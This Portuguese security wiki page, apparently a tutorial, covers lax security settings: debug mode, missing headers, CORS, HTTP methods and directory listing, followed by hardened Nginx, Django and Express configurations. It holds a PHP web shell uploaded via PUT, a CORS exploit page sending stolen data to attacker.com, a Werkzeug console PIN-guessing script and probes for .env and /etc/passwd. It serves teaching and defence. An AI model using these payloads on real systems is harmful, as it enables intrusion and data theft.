# Lax Security Settings

Lax Security Settings referem-se a configurações de segurança fracas ou inadequadas em aplicações, servidores, frameworks e serviços que criam vetores de ataque exploráveis por invasores.

### **Princípio de Funcionamento**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant V as Sistema Vulnerável
    participant S as Serviços/Servidores

    Note over A,V: FASE 1: Reconhecimento
    A->>V: Escaneamento por configurações padrão
    A->>V: Identificação de serviços expostos
    A->>V: Análise de headers e metadados
    V->>A: Retorna informações de configuração
    
    Note over A,V: FASE 2: Exploração de Configurações
    A->>V: Explora debug mode habilitado
    A->>V: Acessa diretórios com listing
    A->>V: Usa métodos HTTP perigosos
    A->>V: Explora CORS mal configurado
    
    Note over A,S: FASE 3: Acesso a Recursos
    A->>S: Acessa arquivos sensíveis
    A->>S: Explora APIs não autenticadas
    A->>S: Rouba dados via configurações fracas
    A->>S: Compromete serviços com credenciais padrão
    
    Note over A,S: FASE 4: Escalação
    A->>S: Movimento lateral usando permissões excessivas
    A->>S: Persistência via serviços mal configurados
    A->>S: Exfiltração de dados
```

### **Características do Problema**

* **Frequentemente resultado de configurações padrão** não alteradas
* **Pode afetar múltiplas camadas** da aplicação
* **Difícil de detectar** sem auditoria proativa
* **Combinável com outras vulnerabilidades** para maior impacto
* **Frequentemente negligenciado** em desenvolvimento rápido

### **Tipos de Lax Security Settings**

#### **1. Configurações de Servidor Web**

```json
{
  "servidor_web": [
    "Headers de segurança ausentes",
    "Métodos HTTP perigosos habilitados",
    "Verbose error messages",
    "Directory listing habilitado",
    "Versões de software expostas"
  ]
}
```

#### **2. Configurações de Aplicação**

```json
{
  "aplicacao": [
    "Debug mode habilitado em produção",
    "Feature flags perigosas ativas",
    "APIs não protegidas",
    "CORS mal configurado",
    "Logging de informações sensíveis"
  ]
}
```

#### **3. Configurações de Banco de Dados**

```json
{
  "banco_dados": [
    "Credenciais padrão",
    "Permissões excessivas",
    "Remote access habilitado",
    "Backups não criptografados",
    "Logs contendo queries sensíveis"
  ]
}
```

***

## ⚔️ **Mecanismos de Ataque**

### **Fluxo de Ataque Completo**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant V as Sistema Vulnerável
    participant S as Serviços/Servidores

    Note over A,V: FASE 1: Reconhecimento
    A->>V: Escaneamento por configurações padrão
    A->>V: Identificação de serviços expostos
    A->>V: Análise de headers e metadados
    V->>A: Retorna informações de configuração
    
    Note over A,V: FASE 2: Exploração de Configurações
    A->>V: Explora debug mode habilitado
    A->>V: Acessa diretórios com listing
    A->>V: Usa métodos HTTP perigosos
    A->>V: Explora CORS mal configurado
    
    Note over A,S: FASE 3: Acesso a Recursos
    A->>S: Acessa arquivos sensíveis
    A->>S: Explora APIs não autenticadas
    A->>S: Rouba dados via configurações fracas
    A->>S: Compromete serviços com credenciais padrão
    
    Note over A,S: FASE 4: Escalação
    A->>S: Movimento lateral usando permissões excessivas
    A->>S: Persistência via serviços mal configurados
    A->>S: Exfiltração de dados
```

### **Cenário 1: Debug Mode em Produção**

```python
# Django settings.py vulnerável
DEBUG = True  # ⚠️ CRÍTICO: Debug habilitado em produção

ALLOWED_HOSTS = []  # ⚠️ Permite qualquer host

# Com debug=True, informações sensíveis são expostas:
# - Stack traces completos
# - Variáveis de ambiente
# - Configurações do sistema
# - Queries de banco de dados

# Exploração:
# Acessar URL inválida: /nonexistent-page
# Resposta expõe stack trace completo com informações sensíveis
```

### **Cenário 2: Headers de Segurança Ausentes**

```nginx
# Configuração Nginx insegura
server {
    listen 80;
    server_name example.com;
    
    # ⚠️ Headers de segurança ausentes
    # add_header X-Frame-Options "DENY";           # FALTA
    # add_header X-Content-Type-Options "nosniff"; # FALTA
    # add_header X-XSS-Protection "1; mode=block"; # FALTA
    # add_header Referrer-Policy "strict-origin";  # FALTA
    
    location / {
        root /var/www/html;
        index index.html;
        
        # ⚠️ Directory listing habilitado
        autoindex on;
    }
}

# Exploração:
# - Clickjacking possível sem X-Frame-Options
# - MIME sniffing sem X-Content-Type-Options
# - XSS mais fácil sem X-XSS-Protection
# - Directory listing expõe estrutura de arquivos
```

### **Cenário 3: CORS Mal Configurado**

```javascript
// Configuração Express.js insegura
const express = require('express');
const cors = require('cors');
const app = express();

// ⚠️ CORS excessivamente permissivo
app.use(cors({
    origin: '*',  // Permite qualquer origem
    credentials: true,  // Permite credenciais com origem *
    methods: ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS']
}));

// ⚠️ Ou pior - CORS dinâmico baseado em origem do usuário
app.use((req, res, next) => {
    const origin = req.headers.origin;
    res.header('Access-Control-Allow-Origin', origin);  // ⚠️ Reflexão de origem
    res.header('Access-Control-Allow-Credentials', 'true');
    next();
});

// Exploração:
// Site malicioso pode fazer requests autenticados à aplicação
// e acessar dados do usuário
```

### **Cenário 4: Métodos HTTP Perigosos Habilitados**

```apache
# Apache httpd.conf inseguro
<Directory "/var/www/html">
    # ⚠️ Métodos perigosos habilitados
    # LimitExcept geralmente falta
    
    # ⚠️ Directory listing habilitado
    Options +Indexes
    
    # ⚠️ Server tokens expostos
    ServerTokens Full
</Directory>

# Exploração:
# OPTIONS / HTTP/1.1
# Host: example.com
#
# Resposta:
# Allow: GET,HEAD,POST,PUT,DELETE,OPTIONS,TRACE  # ⚠️ PUT e DELETE habilitados
#
# PUT /shell.php HTTP/1.1
# Host: example.com
# Content-Length: 31
#
# <?php system($_GET['cmd']); ?>
```

### **Cenário 5: Configurações de Log Inseguras**

```python
# Django logging inseguro
LOGGING = {
    'version': 1,
    'disable_existing_loggers': False,
    'handlers': {
        'file': {
            'level': 'DEBUG',  # ⚠️ Loga informações sensíveis
            'class': 'logging.FileHandler',
            'filename': '/var/log/app.log',
        },
    },
    'loggers': {
        'django': {
            'handlers': ['file'],
            'level': 'DEBUG',  # ⚠️ Loga queries SQL com parâmetros
            'propagate': True,
        },
    },
}

# Logs podem conter:
# - Credenciais de usuário
# - Tokens de sessão
# - Dados pessoais
# - Queries SQL com valores
# - Informações de sistema
```

### **Cenário 6: Configurações de Sessão Fracas**

```php
// PHP session configuration insegura
<?php
ini_set('session.cookie_httponly', 0);  // ⚠️ Cookies acessíveis via JavaScript
ini_set('session.cookie_secure', 0);    // ⚠️ Cookies enviados via HTTP
ini_set('session.gc_maxlifetime', 9999999);  // ⚠️ Sessões muito longas

// Session storage inseguro
ini_set('session.save_path', '/tmp');   // ⚠️ Diretório world-readable

// Exploração:
// - Session hijacking via XSS
// - Session fixation
// - Session theft de /tmp
```

***

## 🔎 **Identificação e Detecção**

### **Indicadores de Vulnerabilidade**

```bash
# Pontos críticos para teste
- Headers de segurança ausentes (CSP, HSTS, X-Frame-Options)
- Debug information em respostas de erro
- Directory listing habilitado
- Métodos HTTP perigosos permitidos (PUT, DELETE, TRACE)
- CORS configurado com origem "*" ou dinâmico
- Versões de software expostas em headers
- Verbose error messages
- Configurações padrão não alteradas
```

### **Metodologia de Teste Manual**

{% stepper %}
{% step %}

### Análise de Headers de Segurança

```python
class SecurityHeadersTester:
    def __init__(self, target_url):
        self.target = target_url
        self.missing_headers = []
        self.insecure_headers = []
    
    def test_security_headers(self):
        """Testar presença e configuração de headers de segurança"""
        
        required_headers = {
            'X-Frame-Options': ['DENY', 'SAMEORIGIN'],
            'X-Content-Type-Options': ['nosniff'],
            'X-XSS-Protection': ['1; mode=block'],
            'Strict-Transport-Security': None,  # Qualquer valor é melhor que nada
            'Content-Security-Policy': None,
            'Referrer-Policy': ['no-referrer', 'strict-origin'],
            'Permissions-Policy': None
        }
        
        response = requests.get(self.target)
        headers = response.headers
        
        for header, expected_values in required_headers.items():
            if header not in headers:
                self.missing_headers.append(header)
            elif expected_values:
                header_value = headers[header]
                if not any(val in header_value for val in expected_values):
                    self.insecure_headers.append({
                        'header': header,
                        'value': header_value,
                        'expected': expected_values
                    })
        
        return {
            'missing_headers': self.missing_headers,
            'insecure_headers': self.insecure_headers
        }
    
    def test_cors_configuration(self):
        """Testar configuração de CORS"""
        
        # Testar CORS com origem arbitrária
        test_origin = 'https://evil.com'
        response = requests.get(
            self.target,
            headers={'Origin': test_origin}
        )
        
        cors_headers = {
            'Access-Control-Allow-Origin': response.headers.get('Access-Control-Allow-Origin'),
            'Access-Control-Allow-Credentials': response.headers.get('Access-Control-Allow-Credentials')
        }
        
        vulnerabilities = []
        
        if cors_headers['Access-Control-Allow-Origin'] == '*':
            vulnerabilities.append('CORS_All_Origins')
        
        if cors_headers['Access-Control-Allow-Origin'] == test_origin:
            vulnerabilities.append('CORS_Origin_Reflection')
        
        if cors_headers['Access-Control-Allow-Credentials'] == 'true' and (
            cors_headers['Access-Control-Allow-Origin'] == '*' or 
            cors_headers['Access-Control-Allow-Origin'] == test_origin
        ):
            vulnerabilities.append('CORS_Credentials_With_Wildcard')
        
        return vulnerabilities
```

{% endstep %}

{% step %}

### Teste de Métodos HTTP

```python
class HTTPMethodsTester:
    def __init__(self, target_url):
        self.target = target_url
    
    def test_dangerous_methods(self):
        """Testar métodos HTTP perigosos"""
        
        dangerous_methods = ['PUT', 'DELETE', 'TRACE', 'CONNECT', 'PATCH']
        allowed_methods = []
        
        # Primeiro descobrir métodos suportados
        response = requests.options(self.target)
        if 'Allow' in response.headers:
            allowed_methods = response.headers['Allow'].split(', ')
        
        # Testar cada método perigoso
        vulnerable_methods = []
        for method in dangerous_methods:
            if method in allowed_methods:
                # Testar se o método é realmente funcional
                test_response = requests.request(method, self.target)
                if test_response.status_code not in [405, 501]:  # Não é "Método não permitido"
                    vulnerable_methods.append(method)
        
        return vulnerable_methods
    
    def test_put_method_exploitation(self):
        """Testar exploração do método PUT"""
        
        if 'PUT' in self.test_dangerous_methods():
            # Tentar upload de arquivo malicioso
            malicious_content = '<?php system($_GET["cmd"]); ?>'
            test_files = [
                'test.php',
                'test.jsp',
                'test.aspx',
                'shell.php'
            ]
            
            for filename in test_files:
                response = requests.put(
                    f"{self.target}/{filename}",
                    data=malicious_content,
                    headers={'Content-Type': 'text/plain'}
                )
                
                if response.status_code in [200, 201, 204]:
                    # Verificar se o arquivo foi criado
                    verify_response = requests.get(f"{self.target}/{filename}")
                    if verify_response.status_code == 200:
                        return f"PUT exploitation successful: {filename}"
        
        return None
```

{% endstep %}

{% step %}

### Teste de Debug e Error Handling

```python
class DebugErrorTester:
    def __init__(self, target_url):
        self.target = target_url
    
    def test_verbose_errors(self):
        """Testar se a aplicação retorna erros verbosos"""
        
        test_payloads = [
            "' OR '1'='1",  # SQL Injection
            "../../etc/passwd",  # Path Traversal
            "{{7*7}}",  # Template Injection
            "%"  # URL encoding error
        ]
        
        verbose_responses = []
        
        for payload in test_payloads:
            response = requests.get(f"{self.target}?test={payload}")
            
            # Verificar indicadores de erro verbose
            error_indicators = [
                'stack trace',
                'at line',
                'warning',
                'notice',
                'exception',
                'sql',
                'database',
                'file_get_contents',
                'include_path'
            ]
            
            for indicator in error_indicators:
                if indicator in response.text.lower():
                    verbose_responses.append({
                        'payload': payload,
                        'indicator': indicator,
                        'response_sample': response.text[:500]
                    })
                    break
        
        return verbose_responses
    
    def test_debug_endpoints(self):
        """Testar endpoints de debug comuns"""
        
        debug_endpoints = [
            '/debug',
            '/console',
            '/actuator',
            '/phpinfo',
            '/admin/debug',
            '/_debug',
            '/debug/console',
            '/rails/info',
            '/api/debug',
            '/web-console'
        ]
        
        found_endpoints = []
        
        for endpoint in debug_endpoints:
            response = requests.get(f"{self.target}{endpoint}")
            
            if response.status_code == 200:
                # Verificar se é realmente uma página de debug
                debug_indicators = [
                    'debug',
                    'console',
                    'environment',
                    'configuration',
                    'phpinfo',
                    'actuator'
                ]
                
                if any(indicator in response.text.lower() for indicator in debug_indicators):
                    found_endpoints.append(endpoint)
        
        return found_endpoints
```

{% endstep %}
{% endstepper %}

### **Técnicas de Fingerprinting**

{% stepper %}
{% step %}

### Identificação de Configurações de Servidor

```python
def server_configuration_scan(target_url):
    """Escaneamento abrangente de configurações de servidor"""
    
    config_findings = {}
    
    # Headers do servidor
    response = requests.get(target_url)
    headers = response.headers
    
    # Informações do servidor
    if 'Server' in headers:
        config_findings['server_software'] = headers['Server']
    
    if 'X-Powered-By' in headers:
        config_findings['framework'] = headers['X-Powered-By']
    
    # Configurações de segurança
    security_headers = [
        'X-Frame-Options',
        'X-Content-Type-Options', 
        'X-XSS-Protection',
        'Strict-Transport-Security',
        'Content-Security-Policy'
    ]
    
    config_findings['security_headers'] = {}
    for header in security_headers:
        if header in headers:
            config_findings['security_headers'][header] = headers[header]
        else:
            config_findings['security_headers'][header] = 'MISSING'
    
    # Testar directory listing
    common_dirs = ['/images', '/css', '/js', '/uploads', '/static', '/assets']
    config_findings['directory_listing'] = []
    
    for directory in common_dirs:
        response = requests.get(f"{target_url}{directory}")
        if 'Index of' in response.text or '<title>Directory listing for' in response.text:
            config_findings['directory_listing'].append(directory)
    
    return config_findings
```

{% endstep %}

{% step %}

### Detecção de Configurações de Desenvolvimento

```python
def detect_dev_configurations(target_url):
    """Detectar configurações de desenvolvimento em produção"""
    
    dev_indicators = []
    
    # Arquivos de configuração de desenvolvimento
    dev_files = [
        '.env',
        'config-dev.json',
        'development.ini',
        'web.config.dev',
        'docker-compose-dev.yml',
        'package-dev.json'
    ]
    
    for dev_file in dev_files:
        response = requests.get(f"{target_url}/{dev_file}")
        if response.status_code == 200:
            dev_indicators.append(f"Dev file exposed: {dev_file}")
    
    # Endpoints de desenvolvimento
    dev_endpoints = [
        '/_ah/admin',  # Google App Engine
        '/_api/',      # Various APIs
        '/dev/',       # Development section
        '/test/',      # Test endpoints
        '/stage/',     # Staging endpoints
    ]
    
    for endpoint in dev_endpoints:
        response = requests.get(f"{target_url}{endpoint}")
        if response.status_code == 200:
            dev_indicators.append(f"Dev endpoint: {endpoint}")
    
    # Source code exposure
    source_files = [
        '.git/config',
        '.svn/entries',
        '.DS_Store',
        'composer.json',
        'package.json',
        'pom.xml'
    ]
    
    for source_file in source_files:
        response = requests.get(f"{target_url}/{source_file}")
        if response.status_code == 200:
            dev_indicators.append(f"Source file: {source_file}")
    
    return dev_indicators
```

{% endstep %}
{% endstepper %}

***

## 💥 **Exploração e Impacto**

### **Técnicas de Exploração Avançadas**

#### **1. Exploração de CORS Mal Configurado**

```html
<!-- Página atacante explorando CORS mal configurado -->
<!DOCTYPE html>
<html>
<head>
    <title>CORS Exploitation</title>
</head>
<body>
    <h1>Stealing Data via Misconfigured CORS</h1>
    
    <script>
        // Exploração de CORS com wildcard
        fetch('https://vulnerable-app.com/api/user/data', {
            method: 'GET',
            credentials: 'include'  // Inclui cookies de autenticação
        })
        .then(response => response.json())
        .then(data => {
            // Enviar dados roubados para servidor atacante
            fetch('https://attacker.com/steal', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json'
                },
                body: JSON.stringify({
                    stolen_data: data,
                    victim: 'user@vulnerable-app.com'
                })
            });
        })
        .catch(error => console.error('Error:', error));

        // Exploração de CORS com reflexão de origem
        const maliciousOrigin = 'https://vulnerable-app.com';
        
        fetch('https://vulnerable-app.com/api/sensitive', {
            method: 'GET',
            headers: {
                'Origin': maliciousOrigin
            },
            credentials: 'include'
        })
        .then(response => response.json())
        .then(data => {
            console.log('Stolen sensitive data:', data);
        });
    </script>
</body>
</html>
```

#### **2. Abuso de Debug Mode**

```python
class DebugModeExploiter:
    def __init__(self, target_url):
        self.target = target_url
    
    def exploit_verbose_errors(self):
        """Explorar informações de erro verbosas"""
        
        # Gerar erros para coletar informações
        error_payloads = [
            "'",  # SQL error
            "{{",  # Template error
            "../../../etc/passwd",  # File access error
            "<?php",  # PHP execution error
        ]
        
        collected_info = {}
        
        for payload in error_payloads:
            response = requests.get(f"{self.target}?input={payload}")
            
            # Extrair informações úteis de stack traces
            info_patterns = {
                'database_credentials': r'(\'host\' => \'[^\']+\'|\'password\' => \'[^\']+\'|\'user\' => \'[^\']+\')',
                'file_paths': r'(/var/www/[^\s]+|/home/[^\s]+|C:\\[^\s]+)',
                'environment_variables': r'(\$[A-Z_]+ = \'[^\']+\')',
                'sql_queries': r'(SELECT.*?FROM|INSERT.*?INTO|UPDATE.*?SET)',
            }
            
            for info_type, pattern in info_patterns.items():
                matches = re.findall(pattern, response.text, re.IGNORECASE)
                if matches:
                    if info_type not in collected_info:
                        collected_info[info_type] = []
                    collected_info[info_type].extend(matches)
        
        return collected_info
    
    def exploit_debug_console(self):
        """Explorar consoles de debug expostos"""
        
        debug_consoles = [
            '/console',  # Flask/Werkzeug
            '/debug',    # Generic
            '/_console', # Various
            '/rails/console',  # Ruby on Rails
        ]
        
        for console_path in debug_consoles:
            response = requests.get(f"{self.target}{console_path}")
            
            if response.status_code == 200:
                # Verificar se é um console interativo
                if 'console' in response.text.lower() and 'python' in response.text.lower():
                    return f"Interactive debug console found: {console_path}"
                
                # Tentar execução de código se for Flask/Werkzeug
                if 'Werkzeug' in response.text:
                    return self.exploit_werkzeug_console(console_path)
        
        return None
    
    def exploit_werkzeug_console(self, console_path):
        """Explorar console Werkzeug (Flask)"""
        
        # O console Werkzeug requer PIN, mas pode ser bypassed em algumas versões
        console_url = f"{self.target}{console_path}"
        
        # Tentar PIN padrão ou vulnerabilidades conhecidas
        common_pins = ['1234', '0000', '1111', 'admin', 'debug']
        
        for pin in common_pins:
            response = requests.post(console_url, data={
                '__debugger__': 'yes',
                'cmd': 'print("exploited")',
                'frm': '0',
                's': pin
            })
            
            if 'exploited' in response.text:
                return f"Werkzeug console exploited with PIN: {pin}"
        
        return "Werkzeug console found but PIN protected"
```

#### **3. Abuso de Directory Listing**

```python
class DirectoryListingExploiter:
    def __init__(self, target_url):
        self.target = target_url
    
    def find_sensitive_files(self):
        """Encontrar arquivos sensíveis via directory listing"""
        
        sensitive_patterns = {
            'backup_files': ['.bak', '.backup', '.old', '.save', '.tmp'],
            'config_files': ['.env', 'config.', 'settings.', '.ini', '.conf'],
            'database_files': ['.sql', '.db', '.mdb', '.sqlite'],
            'credential_files': ['password', 'credential', 'secret', 'key'],
            'log_files': ['.log', '_log', 'debug.log']
        }
        
        found_files = {}
        
        # Primeiro encontrar diretórios com listing habilitado
        vulnerable_dirs = self.find_listing_directories()
        
        for directory in vulnerable_dirs:
            response = requests.get(f"{self.target}{directory}")
            
            # Parse do directory listing (simplificado)
            file_links = re.findall(r'href="([^"]+)"', response.text)
            
            for file_link in file_links:
                for file_type, patterns in sensitive_patterns.items():
                    for pattern in patterns:
                        if pattern in file_link.lower():
                            full_path = f"{directory}/{file_link}"
                            
                            if file_type not in found_files:
                                found_files[file_type] = []
                            
                            found_files[file_type].append(full_path)
        
        return found_files
    
    def find_listing_directories(self):
        """Encontrar diretórios com listing habilitado"""
        
        common_directories = [
            '/images', '/img', '/css', '/js', '/static',
            '/uploads', '/files', '/assets', '/media',
            '/backup', '/tmp', '/temp', '/logs'
        ]
        
        listing_dirs = []
        
        for directory in common_directories:
            response = requests.get(f"{self.target}{directory}")
            
            if any(indicator in response.text for indicator in [
                'Index of', 'Directory listing for', '<title>Directory of'
            ]):
                listing_dirs.append(directory)
        
        return listing_dirs
    
    def download_sensitive_files(self, file_paths):
        """Baixar arquivos sensíveis encontrados"""
        
        downloaded_files = {}
        
        for file_type, paths in file_paths.items():
            downloaded_files[file_type] = []
            
            for path in paths:
                response = requests.get(f"{self.target}{path}")
                
                if response.status_code == 200:
                    downloaded_files[file_type].append({
                        'path': path,
                        'content': response.text[:1000],  # Primeiros 1000 chars
                        'size': len(response.content)
                    })
        
        return downloaded_files
```

### **Impacto das Vulnerabilidades**

#### **Classificação de Impacto**

```json
{
  "impacto_alto": {
    "information_disclosure": [
      "Vazamento de credenciais de banco de dados",
      "Exposição de chaves de API e segredos",
      "Acesso a informações de configuração",
      "Vazamento de dados de usuários"
    ],
    "authentication_bypass": [
      "Acesso a funcionalidades administrativas",
      "Bypass de controles de acesso",
      "Execução de código arbitrário",
      "Comprometimento de sessões"
    ]
  },
  "impacto_medio": {
    "reconnaissance": [
      "Mapeamento da aplicação",
      "Identificação de tecnologias",
      "Descoberta de endpoints",
      "Coleta de informações para outros ataques"
    ],
    "data_manipulation": [
      "Modificação de configurações",
      "Alteração de dados através de APIs",
      "Upload de arquivos maliciosos",
      "Manipulação de funcionalidades"
    ]
  },
  "impacto_baixo": {
    "reputation_damage": [
      "Exposição de informações internas",
      "Vazamento de versões de software",
      "Revelação de estrutura de diretórios",
      "Danos à imagem da organização"
    ],
    "service_degradation": [
      "Aumento de ruído em logs",
      "Consumo de recursos por scanners",
      "Interrupção temporária de serviços",
      "Sobrecarga do sistema"
    ]
  }
}
```

#### **Cadeias de Ataque Completas**

```
Cenário CORS + XSS:
CORS Mal Configurado → XSS → Roubo de Dados → Acesso a Contas

Cenário Debug Mode:
Debug Mode Habilitado → Information Disclosure → Credential Theft → System Compromise

Cenário Directory Listing:
Directory Listing → Config File Access → Database Credentials → Data Breach
```

***

## 🛡️ **Mitigação e Correção**

### **Estratégias de Defesa em Camadas**

#### **1. Configuração Segura de Servidor Web**

```nginx
# Nginx security-hardened configuration
server {
    listen 443 ssl http2;
    server_name example.com;
    
    # SSL Configuration
    ssl_certificate /etc/ssl/certs/example.com.crt;
    ssl_certificate_key /etc/ssl/private/example.com.key;
    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_ciphers ECDHE-RSA-AES256-GCM-SHA512:DHE-RSA-AES256-GCM-SHA512;
    
    # Security Headers
    add_header X-Frame-Options "DENY" always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-XSS-Protection "1; mode=block" always;
    add_header Referrer-Policy "strict-origin" always;
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
    
    # Content Security Policy
    add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'; font-src 'self';" always;
    
    # Remove server tokens
    server_tokens off;
    
    # Disable unnecessary methods
    if ($request_method !~ ^(GET|HEAD|POST)$ ) {
        return 405;
    }
    
    # Main location block
    location / {
        root /var/www/html;
        index index.html index.htm;
        
        # Disable directory listing
        autoindex off;
        
        # Security restrictions
        location ~* \.(env|config|key|sql|db)$ {
            deny all;
            return 404;
        }
    }
    
    # API-specific security
    location /api/ {
        # CORS configuration
        add_header Access-Control-Allow-Origin "https://trusted-domain.com" always;
        add_header Access-Control-Allow-Methods "GET, POST, OPTIONS" always;
        add_header Access-Control-Allow-Headers "Content-Type, Authorization" always;
        add_header Access-Control-Allow-Credentials "true" always;
        
        # Preflight requests
        if ($request_method = OPTIONS) {
            return 204;
        }
    }
    
    # Error pages
    error_page 404 /404.html;
    error_page 500 502 503 504 /50x.html;
    
    # Don't leak information in error pages
    location = /50x.html {
        internal;
        root /usr/share/nginx/html;
    }
}
```

#### **2. Configuração Segura de Aplicação**

```python
# Django settings.py seguro
import os
from pathlib import Path

BASE_DIR = Path(__file__).resolve().parent.parent

# Security settings
SECRET_KEY = os.environ.get('SECRET_KEY')  # From environment
DEBUG = False  # ⚠️ CRITICAL: Debug off in production
ALLOWED_HOSTS = ['example.com', 'www.example.com']  # Specific hosts only

# Security middleware
MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    'django.middleware.clickjacking.XFrameOptionsMiddleware',
    'corsheaders.middleware.CorsMiddleware',  # CORS handling
]

# Database - from environment
DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.postgresql',
        'NAME': os.environ.get('DB_NAME'),
        'USER': os.environ.get('DB_USER'),
        'PASSWORD': os.environ.get('DB_PASSWORD'),
        'HOST': os.environ.get('DB_HOST'),
        'PORT': os.environ.get('DB_PORT'),
    }
}

# CORS settings
CORS_ALLOWED_ORIGINS = [
    "https://trusted-domain.com",
    "https://api.trusted-domain.com",
]

CORS_ALLOW_CREDENTIALS = False  # Don't allow credentials with CORS

# SSL/HTTPS settings
SECURE_SSL_REDIRECT = True
SECURE_HSTS_SECONDS = 31536000  # 1 year
SECURE_HSTS_INCLUDE_SUBDOMAINS = True
SECURE_HSTS_PRELOAD = True
SECURE_BROWSER_XSS_FILTER = True
SECURE_CONTENT_TYPE_NOSNIFF = True

# Session security
SESSION_COOKIE_SECURE = True
SESSION_COOKIE_HTTPONLY = True
SESSION_COOKIE_SAMESITE = 'Lax'
CSRF_COOKIE_SECURE = True

# Logging configuration
LOGGING = {
    'version': 1,
    'disable_existing_loggers': False,
    'formatters': {
        'verbose': {
            'format': '{levelname} {asctime} {module} {message}',
            'style': '{',
        },
    },
    'handlers': {
        'file': {
            'level': 'INFO',  # ⚠️ Not DEBUG
            'class': 'logging.handlers.RotatingFileHandler',
            'filename': '/var/log/app.log',
            'maxBytes': 1024*1024*5,  # 5MB
            'backupCount': 5,
            'formatter': 'verbose',
        },
    },
    'loggers': {
        'django': {
            'handlers': ['file'],
            'level': 'INFO',  # ⚠️ Not DEBUG
            'propagate': True,
        },
    },
}
```

#### **3. Configuração Segura de CORS**

```javascript
// Express.js CORS configuration segura
const express = require('express');
const cors = require('cors');
const app = express();

// Lista branca de origens permitidas
const allowedOrigins = [
    'https://trusted-domain.com',
    'https://app.trusted-domain.com',
    'https://api.trusted-domain.com'
];

// Configuração segura de CORS
const corsOptions = {
    origin: function (origin, callback) {
        // Permitir requests sem Origin (como mobile apps ou curl)
        if (!origin) return callback(null, true);
        
        if (allowedOrigins.indexOf(origin) === -1) {
            const msg = 'The CORS policy for this site does not allow access from the specified Origin.';
            return callback(new Error(msg), false);
        }
        return callback(null, true);
    },
    credentials: false,  // ⚠️ Não permitir credenciais com CORS
    methods: ['GET', 'POST', 'OPTIONS'],
    allowedHeaders: ['Content-Type', 'Authorization'],
    maxAge: 86400  // Cache preflight por 24 horas
};

app.use(cors(corsOptions));

// Middleware adicional de segurança
app.use((req, res, next) => {
    // Headers de segurança
    res.header('X-Frame-Options', 'DENY');
    res.header('X-Content-Type-Options', 'nosniff');
    res.header('X-XSS-Protection', '1; mode=block');
    res.header('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
    
    // Remover headers informativos
    res.removeHeader('X-Powered-By');
    res.removeHeader('Server');
    
    next();
});

// Rota específica que requer CORS mais permissivo (se necessário)
app.get('/api/public-data', (req, res) => {
    // CORS específico para esta rota
    res.header('Access-Control-Allow-Origin', '*');  // Apenas para dados públicos
    res.json({ data: 'Public information' });
});
```

### **Padrões de Codificação Seguros**

#### **1. Environment-based Configuration**

```python
# config/security.py
import os
import sys
from dataclasses import dataclass

@dataclass
class SecurityConfig:
    """Security configuration management"""
    
    # Environment detection
    ENVIRONMENT: str = os.environ.get('ENVIRONMENT', 'production')
    
    # Security settings
    DEBUG: bool = ENVIRONMENT == 'development'
    SECRET_KEY: str = os.environ.get('SECRET_KEY')
    ALLOWED_HOSTS: list = os.environ.get('ALLOWED_HOSTS', '').split(',')
    
    # Database
    DB_HOST: str = os.environ.get('DB_HOST')
    DB_PORT: str = os.environ.get('DB_PORT', '5432')
    DB_NAME: str = os.environ.get('DB_NAME')
    DB_USER: str = os.environ.get('DB_USER')
    DB_PASSWORD: str = os.environ.get('DB_PASSWORD')
    
    # API Keys
    API_KEYS: dict = None
    
    def __post_init__(self):
        """Validate configuration"""
        self.validate()
    
    def validate(self):
        """Validate security configuration"""
        
        if self.ENVIRONMENT == 'production':
            if self.DEBUG:
                raise ValueError("DEBUG must be False in production")
            
            if not self.SECRET_KEY or len(self.SECRET_KEY) < 32:
                raise ValueError("SECRET_KEY must be at least 32 characters in production")
            
            if not self.ALLOWED_HOSTS or '*' in self.ALLOWED_HOSTS:
                raise ValueError("ALLOWED_HOSTS must be specified in production")
        
        # Validate database configuration
        if not all([self.DB_HOST, self.DB_NAME, self.DB_USER, self.DB_PASSWORD]):
            raise ValueError("Database configuration incomplete")
    
    def get_database_url(self):
        """Get database connection URL"""
        return f"postgresql://{self.DB_USER}:{self.DB_PASSWORD}@{self.DB_HOST}:{self.DB_PORT}/{self.DB_NAME}"

# Usage
try:
    config = SecurityConfig()
except ValueError as e:
    print(f"Configuration error: {e}")
    sys.exit(1)
```

#### **2. Security Headers Management**

```python
# security/headers.py
from typing import Dict, List

class SecurityHeaders:
    """Manage security headers configuration"""
    
    def __init__(self, environment: str = 'production'):
        self.environment = environment
        self.headers = self._get_default_headers()
    
    def _get_default_headers(self) -> Dict[str, str]:
        """Get default security headers"""
        
        base_headers = {
            'X-Frame-Options': 'DENY',
            'X-Content-Type-Options': 'nosniff',
            'X-XSS-Protection': '1; mode=block',
            'Referrer-Policy': 'strict-origin-when-cross-origin',
            'Permissions-Policy': 'camera=(), microphone=(), geolocation=()'
        }
        
        if self.environment == 'production':
            base_headers.update({
                'Strict-Transport-Security': 'max-age=31536000; includeSubDomains',
                'Content-Security-Policy': self._get_csp_policy()
            })
        
        return base_headers
    
    def _get_csp_policy(self) -> str:
        """Get Content Security Policy"""
        
        csp_directives = [
            "default-src 'self'",
            "script-src 'self' 'unsafe-inline' https://trusted-cdn.com",
            "style-src 'self' 'unsafe-inline'",
            "img-src 'self' data: https:",
            "connect-src 'self'",
            "font-src 'self'",
            "object-src 'none'",
            "media-src 'self'",
            "frame-src 'none'",
            "base-uri 'self'",
            "form-action 'self'"
        ]
        
        return '; '.join(csp_directives)
    
    def add_headers_to_response(self, response):
        """Add security headers to response"""
        for header, value in self.headers.items():
            response[header] = value
        
        # Remove informative headers
        if 'Server' in response:
            del response['Server']
        if 'X-Powered-By' in response:
            del response['X-Powered-By']
        
        return response
    
    def get_headers_dict(self) -> Dict[str, str]:
        """Get headers as dictionary"""
        return self.headers.copy()

# Usage in web framework
security_headers = SecurityHeaders(environment='production')

@app.after_request
def add_security_headers(response):
    return security_headers.add_headers_to_response(response)
```

#### **3. Secure Error Handling**

```python
# security/error_handling.py
import logging
import sys
from functools import wraps
